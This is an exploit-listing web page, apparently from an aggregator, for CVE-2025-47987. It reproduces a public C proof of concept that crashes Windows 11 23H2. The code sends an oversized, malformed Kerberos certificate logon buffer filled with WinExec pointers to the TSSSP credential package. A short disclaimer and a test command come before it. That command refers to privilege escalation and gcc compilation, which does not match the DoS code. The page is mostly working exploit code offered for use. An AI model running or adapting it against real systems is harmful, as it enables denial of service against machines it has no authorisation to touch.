Aller au contenu
Appaloosa Scout
Sélection de la langue
fr en

Exploit matérialisé

CVE-2025-47987

HIGH

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
ExploitDB local windows
Source

Windows 11 23H2 - Denial of Service (DoS)

Par tryhardertryh

Comment tester cet exploit

Exploit local. Exécutez sur une installation vulnérable en VM jetable et vérifiez l'élévation de privilèges.

gcc 52541.c -o exploit && ./exploit

Code c

# Exploit Title: Windows 11 23H2 - Denial of Service (DoS)
# Google Dork: N/A
# Date: 2025-08-22
# Exploit Author: Kryptoenix
# Vendor Homepage: https://www.microsoft.com/
# Software Link: https://www.microsoft.com/en-us/software-download/windows11
# Version: Windows 11 23H2
# Tested on: Windows 11 23H2 (x64)
# CVE: CVE-2025-47987



#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <credssp.h>
#include <stdint.h>
#include <wchar.h>

#pragma comment(lib, "secur32.lib")


#define ALIGN_TO_8(x) (((x) + 7) & ~((size_t)7))


int BuildKerbCertLogonBuffer(
    const WCHAR* username,
    const WCHAR* domain,
    const WCHAR* password,
    const BYTE* certBlob,
    DWORD certBlobSize,
    BYTE** outBuffer,
    DWORD* outBufferSize)
{
    if (!username || !domain || !password || !certBlob || !outBuffer || !outBufferSize) return -1;

    uint64_t usernameLen = (uint64_t)(wcslen(username) * sizeof(WCHAR));
    uint64_t domainLen = (uint64_t)(wcslen(domain) * sizeof(WCHAR));
    uint64_t passwordLen = (uint64_t)(wcslen(password) * sizeof(WCHAR));

    size_t offsetUser = 0x48; // header is fixed 0x48 bytes
    size_t offsetPassword = offsetUser + ALIGN_TO_8(usernameLen);
    size_t offsetDomain = offsetPassword + ALIGN_TO_8(passwordLen);
    size_t offsetCert = offsetDomain + ALIGN_TO_8(domainLen);

    size_t totalSize = offsetCert + ALIGN_TO_8(certBlobSize);

    BYTE* buf = (BYTE*)malloc(totalSize);
    if (!buf) return -1;
    memset(buf, 0, totalSize);

    // 0x00: type
    *(uint64_t*)(buf + 0x00) = 13ULL;

    // username entry
    *(uint64_t*)(buf + 0x08) = usernameLen;
    *(uint64_t*)(buf + 0x10) = (uint64_t)offsetUser;

    // password entry
    *(uint64_t*)(buf + 0x18) = passwordLen;
    *(uint64_t*)(buf + 0x20) = (uint64_t)offsetPassword;

    // domain entry
    *(uint64_t*)(buf + 0x28) = domainLen;
    *(uint64_t*)(buf + 0x30) = (uint64_t)offsetDomain;

    // cert offset/size
    *(uint32_t*)(buf + 0x38) = (uint32_t)0x1337; // :)
    *(uint32_t*)(buf + 0x3C) = (uint32_t)certBlobSize;
    *(uint32_t*)(buf + 0x40) = (uint32_t)offsetCert;

    // payload copies
    memcpy(buf + offsetUser, username, usernameLen);
    memcpy(buf + offsetPassword, password, passwordLen);
    memcpy(buf + offsetDomain, domain, domainLen);
    memcpy(buf + offsetCert, certBlob, certBlobSize);

    printf("\nHeader of packed buffer (first 64 bytes):\n");
    for (size_t i = 0; i < (totalSize < 64 ? totalSize : 64); ++i) {
        printf("%02x ", buf[i]);
        if ((i & 0x7) == 0x7) printf("\n");
    }
    printf("\n");


    *outBuffer = buf;
    *outBufferSize = (DWORD)totalSize;
    return 0;
}

BYTE* BuildFakeCspData(
    const char* str,
    size_t strLen,
    DWORD providerValue,   // stored at header[5]
    DWORD* outSize)
{
    if (!str) return NULL;

    size_t lenChars = strLen + 1;
    size_t stringBytes = lenChars;

    size_t headerBytes = 44; // 40-byte base + one DWORD offset
    size_t totalBytes = headerBytes + stringBytes;
    if (totalBytes < 0x30) totalBytes = 0x30;

    BYTE* buffer = (BYTE*)malloc(totalBytes);
    if (!buffer) return NULL;
    memset(buffer, 0, totalBytes);

    // header[5] = providerValue
    ((DWORD*)buffer)[5] = providerValue;

    // header[6] = offset for string (in bytes from start of data area)
    ((DWORD*)buffer)[6] = 0;

    // copy the string into the data area
    BYTE* stringArea = buffer + headerBytes;
    memcpy(stringArea, str, lenChars);

    printf("Header of CSP buffer (first 44 bytes):\n");
    for (size_t i = 0; i < headerBytes; ++i) {
        printf("%02x ", buffer[i]);
        if ((i & 0x7) == 0x7) printf("\n");
    }
    printf("\n\n");


    if (outSize)
        *outSize = (DWORD)totalBytes;

    return buffer;
}


unsigned char* ptrToBytes(void* ptr, size_t* outLen) {
    size_t len = sizeof(void*); // 8 bytes
    unsigned char* buf = (unsigned char*)malloc(len);
    if (!buf) return NULL;
    memcpy(buf, &ptr, len); // copy pointer value into buffer
    if (outLen) *outLen = len;
    return buf;
}

unsigned char* BuildStringPattern(const unsigned char* pattern, size_t patLen, size_t repeatCount) {
    size_t totalLen = patLen * repeatCount;
    unsigned char* buf = (unsigned char*)malloc(totalLen);
    if (!buf) return NULL;

    // add padding for pointer allignment
    memset(buf, 0, 4);

    unsigned char* p = buf + 4;
    for (size_t i = 0; i < repeatCount; i++) {
        memcpy(p, pattern, patLen);
        p += patLen;
    }
    return buf;
}

wchar_t* BuildWideStringPattern(const wchar_t* pattern, size_t repeatCount) {
    if (!pattern || repeatCount == 0) return NULL;

    size_t patLen = wcslen(pattern);
    size_t totalLen = (patLen * repeatCount) + 1;

    wchar_t* buf = (wchar_t*)malloc(totalLen * sizeof(wchar_t));
    if (!buf) return NULL;

    wchar_t* p = buf;

    // copy pattern repeatedly
    for (size_t i = 0; i < repeatCount; i++) {
        wmemcpy(p, pattern, patLen);
        p += patLen;
    }

    *p = L'\0';

    return buf;
}
int main(void)
{
    size_t addrLen;
    unsigned char* addrBytes = ptrToBytes((void*)WinExec, &addrLen);
    if (!addrBytes) {
        fprintf(stderr, "Failed to allocate address bytes.\n");
        return 1;
    }


    size_t repeatCount = 0x1FFFFFE0; // 0xFFFFFF00 = 8 * 0x1FFFFFE0
    unsigned char* hugeStr = BuildStringPattern(addrBytes, addrLen, repeatCount);
    if (!hugeStr) {
        fprintf(stderr, "Failed to allocate huge buffer.\n");
        free(addrBytes);
        return 1;
    }

    DWORD fakeSize;
    printf("Building fake CSP buffer...\n\n");
    BYTE* fakeCsp = BuildFakeCspData((const char *)hugeStr, 0xFFFFFF00, 0x18, &fakeSize);

    if (!fakeCsp) {
        wprintf(L"Allocation failed\n");
        return 1;
    }

    wprintf(L"Built fake CSPDATA size=0x%X\n\n", fakeSize);
    //getchar();

    SECURITY_STATUS status;
    CredHandle credHandle;
    TimeStamp expiry;

    const WCHAR* username = L"exampleusername";
    const WCHAR* domain = L"exampledomain";
    const WCHAR* password = L"examplepassexamplepassexamplepassexamplepassexamplepass";


    BYTE* buf = NULL;
    DWORD bufSize = 0;

    printf("Building fake KerbCertLogonBuffer...\n");
    if (BuildKerbCertLogonBuffer(username, domain, password, fakeCsp, fakeSize, &buf, &bufSize) != 0) {
        printf("Failed to build KerbCertLogonBuffer\n");
        return 1;
    }

    printf("Trigerring the bug...\n");
    status = AcquireCredentialsHandleW(
        NULL,
        (LPWSTR)L"TSSSP",       // pszPackage (name of the security package)
        SECPKG_CRED_OUTBOUND,
        NULL,
        buf,                    // pAuthData (pointer to authentication data)
        NULL,
        NULL,
        &credHandle,
        &expiry
    );

    if (status == SEC_E_OK) {
        printf("AcquireCredentialsHandle succeeded\n");
        FreeCredentialsHandle(&credHandle);
    }
    else {

        if (status == SEC_E_INSUFFICIENT_MEMORY) {
            printf("Not enough memory to trigger the crash :(\n");
            printf("[-] PoC failed!\n");
        }
        else if (status == SEC_E_INTERNAL_ERROR) {
            printf("\n[+] PoC succeded! Enjoy the crash >:D\n");
        }
        else {
            printf("AcquireCredentialsHandle failed! Error: 0x%x\n",status);
            printf("[-] PoC failed!\n");
        }
    }

    if (buf) free(buf);
    if(hugeStr) free(hugeStr);
    if(fakeCsp) free(fakeCsp);
    return 0;
}